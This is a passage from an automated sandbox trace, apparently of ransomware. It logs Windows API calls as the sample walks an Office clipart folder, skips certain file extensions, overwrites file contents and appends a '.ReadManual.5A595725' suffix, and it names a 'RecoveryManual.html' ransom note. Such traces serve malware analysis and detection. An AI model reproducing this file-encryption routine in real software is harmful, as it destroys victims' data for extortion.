Office\\CLIPART\\PUB60COR\\EN00320_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.ReadManual.5A595725" [0262.736] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.ReadManual.5A595725") returned 87 [0262.736] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38340470639) returned 1 [0262.736] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf")) returned 0x20 [0262.736] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.736] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=736) returned 1 [0262.736] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e0, lpName=0x0) returned 0x184 [0262.736] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.737] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.737] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.739] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.739] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2e0) returned 0x2f0000 [0262.739] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.740] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38340829584) returned 1 [0262.740] CloseHandle (hObject=0x184) returned 1 [0262.740] SetSecurityInfo () returned 0x57 [0262.740] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.740] CloseHandle (hObject=0x194) returned 1 [0262.740] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1131c200, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1131c200, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x439c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EN00397_.WMF", cAlternateFileName="")) returned 1 [0262.741] lstrcpyW (in: lpString1=0x6ab90a, lpString2="EN00397_.WMF" | out: lpString1="EN00397_.WMF") returned="EN00397_.WMF" [0262.741] lstrcmpiW (lpString1="EN00397_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.741] StrStrIW (lpFirst="EN00397_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.741] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.741] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.741] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.741] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.741] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.741] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.741] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.741] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.741] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.741] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.741] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.741] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.741] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.741] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.741] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" [0262.741] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.ReadManual.5A595725" [0262.741] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.ReadManual.5A595725") returned 87 [0262.741] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38341009873) returned 1 [0262.741] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf")) returned 0x20 [0262.742] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.742] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=17308) returned 1 [0262.742] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x439c, lpName=0x0) returned 0x184 [0262.742] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.743] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.743] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.744] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.745] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x439c) returned 0x2f0000 [0262.745] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.745] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38341374854) returned 1 [0262.745] CloseHandle (hObject=0x184) returned 1 [0262.745] SetSecurityInfo () returned 0x57 [0262.745] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.745] CloseHandle (hObject=0x194) returned 1 [0262.746] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51904f00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51904f00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x1f08, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EN00902_.WMF", cAlternateFileName="")) returned 1 [0262.746] lstrcpyW (in: lpString1=0x6ab90a, lpString2="EN00902_.WMF" | out: lpString1="EN00902_.WMF") returned="EN00902_.WMF" [0262.746] lstrcmpiW (lpString1="EN00902_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.746] StrStrIW (lpFirst="EN00902_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.746] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.746] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.746] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.746] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.746] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.746] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.746] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.746] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.746] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.746] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.746] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.746] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.746] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.746] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.746] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" [0262.747] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.ReadManual.5A595725" [0262.747] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.ReadManual.5A595725") returned 87 [0262.747] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38341537434) returned 1 [0262.747] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf")) returned 0x20 [0262.747] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.748] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7944) returned 1 [0262.748] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f08, lpName=0x0) returned 0x184 [0262.748] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.748] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.749] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.750] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.751] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f08) returned 0x2f0000 [0262.751] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.751] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38341958043) returned 1 [0262.751] CloseHandle (hObject=0x184) returned 1 [0262.751] SetSecurityInfo () returned 0x57 [0262.751] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.751] CloseHandle (hObject=0x194) returned 1 [0262.752] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2942, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EXPLR_01.MID", cAlternateFileName="")) returned 1 [0262.752] lstrcpyW (in: lpString1=0x6ab90a, lpString2="EXPLR_01.MID" | out: lpString1="EXPLR_01.MID") returned="EXPLR_01.MID" [0262.752] lstrcmpiW (lpString1="EXPLR_01.MID", lpString2="RecoveryManual.html") returned -1 [0262.752] StrStrIW (lpFirst="EXPLR_01.MID", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.752] StrCmpIW (psz1="MID", psz2="exe") returned 1 [0262.752] StrCmpIW (psz1="MID", psz2="dll") returned 1 [0262.752] StrCmpIW (psz1="MID", psz2="sys") returned -1 [0262.752] StrCmpIW (psz1="MID", psz2="msi") returned -1 [0262.752] StrCmpIW (psz1="MID", psz2="mui") returned -1 [0262.752] StrCmpIW (psz1="MID", psz2="inf") returned 1 [0262.752] StrCmpIW (psz1="MID", psz2="cat") returned 1 [0262.752] StrCmpIW (psz1="MID", psz2="bat") returned 1 [0262.752] StrCmpIW (psz1="MID", psz2="cmd") returned 1 [0262.752] StrCmpIW (psz1="MID", psz2="ps1") returned -1 [0262.752] StrCmpIW (psz1="MID", psz2="vbs") returned -1 [0262.752] StrCmpIW (psz1="MID", psz2="ttf") returned -1 [0262.752] StrCmpIW (psz1="MID", psz2="fon") returned 1 [0262.752] StrCmpIW (psz1="MID", psz2="lnk") returned 1 [0262.752] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" [0262.752] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.ReadManual.5A595725" [0262.752] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.ReadManual.5A595725") returned 87 [0262.752] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38342119107) returned 1 [0262.752] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid")) returned 0x20 [0262.753] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.753] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10562) returned 1 [0262.754] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2942, lpName=0x0) returned 0x184 [0262.754] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.754] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.754] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.756] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.756] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2942) returned 0x2f0000 [0262.756] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.756] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38342527388) returned 1 [0262.757] CloseHandle (hObject=0x184) returned 1 [0262.757] SetSecurityInfo () returned 0x57 [0262.757] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.757] CloseHandle (hObject=0x194) returned 1 [0262.757] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x12ee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FALL_01.MID", cAlternateFileName="")) returned 1 [0262.757] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FALL_01.MID" | out: lpString1="FALL_01.MID") returned="FALL_01.MID" [0262.757] lstrcmpiW (lpString1="FALL_01.MID", lpString2="RecoveryManual.html") returned -1 [0262.757] StrStrIW (lpFirst="FALL_01.MID", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.757] StrCmpIW (psz1="MID", psz2="exe") returned 1 [0262.757] StrCmpIW (psz1="MID", psz2="dll") returned 1 [0262.757] StrCmpIW (psz1="MID", psz2="sys") returned -1 [0262.757] StrCmpIW (psz1="MID", psz2="msi") returned -1 [0262.757] StrCmpIW (psz1="MID", psz2="mui") returned -1 [0262.757] StrCmpIW (psz1="MID", psz2="inf") returned 1 [0262.757] StrCmpIW (psz1="MID", psz2="cat") returned 1 [0262.757] StrCmpIW (psz1="MID", psz2="bat") returned 1 [0262.757] StrCmpIW (psz1="MID", psz2="cmd") returned 1 [0262.757] StrCmpIW (psz1="MID", psz2="ps1") returned -1 [0262.757] StrCmpIW (psz1="MID", psz2="vbs") returned -1 [0262.757] StrCmpIW (psz1="MID", psz2="ttf") returned -1 [0262.757] StrCmpIW (psz1="MID", psz2="fon") returned 1 [0262.757] StrCmpIW (psz1="MID", psz2="lnk") returned 1 [0262.757] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" [0262.757] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.ReadManual.5A595725" [0262.757] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.ReadManual.5A595725") returned 86 [0262.757] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38342619560) returned 1 [0262.757] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid")) returned 0x20 [0262.758] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.758] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4846) returned 1 [0262.758] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12ee, lpName=0x0) returned 0x184 [0262.759] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbc) returned 1 [0262.759] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.759] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.761] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.761] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12ee) returned 0x2f0000 [0262.761] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.762] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38343032045) returned 1 [0262.762] CloseHandle (hObject=0x184) returned 1 [0262.762] SetSecurityInfo () returned 0x57 [0262.762] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.762] CloseHandle (hObject=0x194) returned 1 [0262.762] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadef6200, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadef6200, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x45ba, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD00074_.WMF", cAlternateFileName="")) returned 1 [0262.762] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD00074_.WMF" | out: lpString1="FD00074_.WMF") returned="FD00074_.WMF" [0262.762] lstrcmpiW (lpString1="FD00074_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.762] StrStrIW (lpFirst="FD00074_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.762] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.762] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.762] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.762] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.762] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.762] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.762] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.762] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.762] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.762] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.762] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.762] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.762] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.762] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.762] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" [0262.762] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.ReadManual.5A595725" [0262.762] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.ReadManual.5A595725") returned 87 [0262.762] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38343121280) returned 1 [0262.762] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf")) returned 0x20 [0262.763] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.763] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=17850) returned 1 [0262.763] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x45ba, lpName=0x0) returned 0x184 [0262.763] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.764] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.764] WriteFile (in: 